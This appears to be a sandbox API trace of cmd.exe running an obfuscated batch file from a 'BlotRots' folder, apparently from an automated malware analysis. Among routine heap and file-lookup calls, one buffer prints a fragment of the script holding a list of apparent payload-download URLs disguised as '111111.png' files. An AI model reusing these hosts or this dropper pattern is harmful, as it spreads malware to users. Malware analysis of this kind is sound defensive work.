returned 0x1 [0232.735] GetProcessHeap () returned 0x20b0f920000 [0232.735] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.736] GetProcessHeap () returned 0x20b0f920000 [0232.736] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f926ea0 [0232.736] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.736] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.736] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.737] GetProcessHeap () returned 0x20b0f920000 [0232.737] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.737] SetErrorMode (uMode=0x0) returned 0x0 [0232.738] SetErrorMode (uMode=0x1) returned 0x0 [0232.738] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.738] SetErrorMode (uMode=0x0) returned 0x1 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.738] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.738] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.738] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947460 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947460, Size=0x7e) returned 0x20b0f9567f0 [0232.738] GetProcessHeap () returned 0x20b0f920000 [0232.738] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9567f0) returned 0x7e [0232.738] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.738] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cfd0 [0232.739] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0232.739] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.739] GetLastError () returned 0x2 [0232.739] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.739] GetLastError () returned 0x2 [0232.739] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.739] GetLastError () returned 0x2 [0232.739] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.740] GetLastError () returned 0x2 [0232.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.740] GetLastError () returned 0x2 [0232.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.740] GetLastError () returned 0x2 [0232.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.740] GetLastError () returned 0x2 [0232.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.740] GetLastError () returned 0x2 [0232.740] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.741] GetLastError () returned 0x2 [0232.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.741] GetLastError () returned 0x2 [0232.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.741] GetLastError () returned 0x2 [0232.741] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.741] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.742] GetLastError () returned 0x2 [0232.742] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d210 [0232.742] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0232.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.742] GetLastError () returned 0x2 [0232.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.742] GetLastError () returned 0x2 [0232.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.743] GetLastError () returned 0x2 [0232.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.743] GetLastError () returned 0x2 [0232.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.743] GetLastError () returned 0x2 [0232.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.743] GetLastError () returned 0x2 [0232.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.743] GetLastError () returned 0x2 [0232.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.744] GetLastError () returned 0x2 [0232.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.744] GetLastError () returned 0x2 [0232.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.744] GetLastError () returned 0x2 [0232.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.744] GetLastError () returned 0x2 [0232.744] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.745] GetLastError () returned 0x2 [0232.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.745] GetLastError () returned 0x2 [0232.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.745] GetLastError () returned 0x2 [0232.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.745] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.746] GetLastError () returned 0x2 [0232.746] ??_V@YAXPEAX@Z () returned 0x1 [0232.746] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.746] GetFileType (hFile=0x54) returned 0x2 [0232.746] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.746] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.747] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.747] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.747] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.747] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.747] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.753] ??_V@YAXPEAX@Z () returned 0x1 [0232.754] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.754] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.755] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.755] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.755] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.755] SetConsoleInputExeNameW () returned 0x1 [0232.755] GetConsoleOutputCP () returned 0x1b5 [0232.756] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.756] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.756] ??_V@YAXPEAX@Z () returned 0x1 [0232.757] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.757] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.757] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.757] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x131f [0232.757] GetProcessHeap () returned 0x20b0f920000 [0232.757] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9567f0) returned 1 [0232.757] GetProcessHeap () returned 0x20b0f920000 [0232.757] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.757] GetProcessHeap () returned 0x20b0f920000 [0232.757] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0232.757] GetProcessHeap () returned 0x20b0f920000 [0232.757] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.757] GetProcessHeap () returned 0x20b0f920000 [0232.757] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0232.758] GetProcessHeap () returned 0x20b0f920000 [0232.758] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.758] GetProcessHeap () returned 0x20b0f920000 [0232.758] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956760) returned 1 [0232.758] GetProcessHeap () returned 0x20b0f920000 [0232.758] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.758] GetProcessHeap () returned 0x20b0f920000 [0232.758] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0232.758] GetProcessHeap () returned 0x20b0f920000 [0232.758] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.759] GetProcessHeap () returned 0x20b0f920000 [0232.759] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0232.759] GetProcessHeap () returned 0x20b0f920000 [0232.759] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.759] GetProcessHeap () returned 0x20b0f920000 [0232.759] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.759] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.759] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x131f [0232.759] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x496, lpOverlapped=0x0) returned 1 [0232.760] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4998, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1386 [0232.760] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 103 [0232.760] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.760] GetFileType (hFile=0x9c) returned 0x1 [0232.760] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.760] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1386 [0232.760] GetProcessHeap () returned 0x20b0f920000 [0232.760] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.760] GetProcessHeap () returned 0x20b0f920000 [0232.760] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.760] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.761] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.761] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.761] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.761] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.761] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.761] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.761] GetProcessHeap () returned 0x20b0f920000 [0232.761] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.761] GetProcessHeap () returned 0x20b0f920000 [0232.761] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.761] GetProcessHeap () returned 0x20b0f920000 [0232.761] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f9259d0 [0232.761] _tell (_FileHandle=3) returned 4998 [0232.761] _close (_FileHandle=3) returned 0 [0232.761] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.761] GetFileType (hFile=0x50) returned 0x2 [0232.761] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.761] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.762] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.762] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.765] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.765] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.765] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.765] GetFileType (hFile=0x50) returned 0x2 [0232.765] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.765] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.766] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.766] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.766] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.766] GetFileType (hFile=0x50) returned 0x2 [0232.766] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.766] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.767] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.767] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0232.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.767] GetFileType (hFile=0x50) returned 0x2 [0232.767] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.767] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.767] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0232.768] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.768] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.768] GetFileType (hFile=0x50) returned 0x2 [0232.768] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.768] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.769] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.769] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.777] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.778] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.779] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.779] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.779] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.779] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.779] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.779] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.779] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.779] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.779] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.779] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.779] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.779] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.779] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.779] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.779] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.779] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.779] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.780] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.780] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.780] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.780] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.780] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.780] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.780] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.780] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.780] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.780] 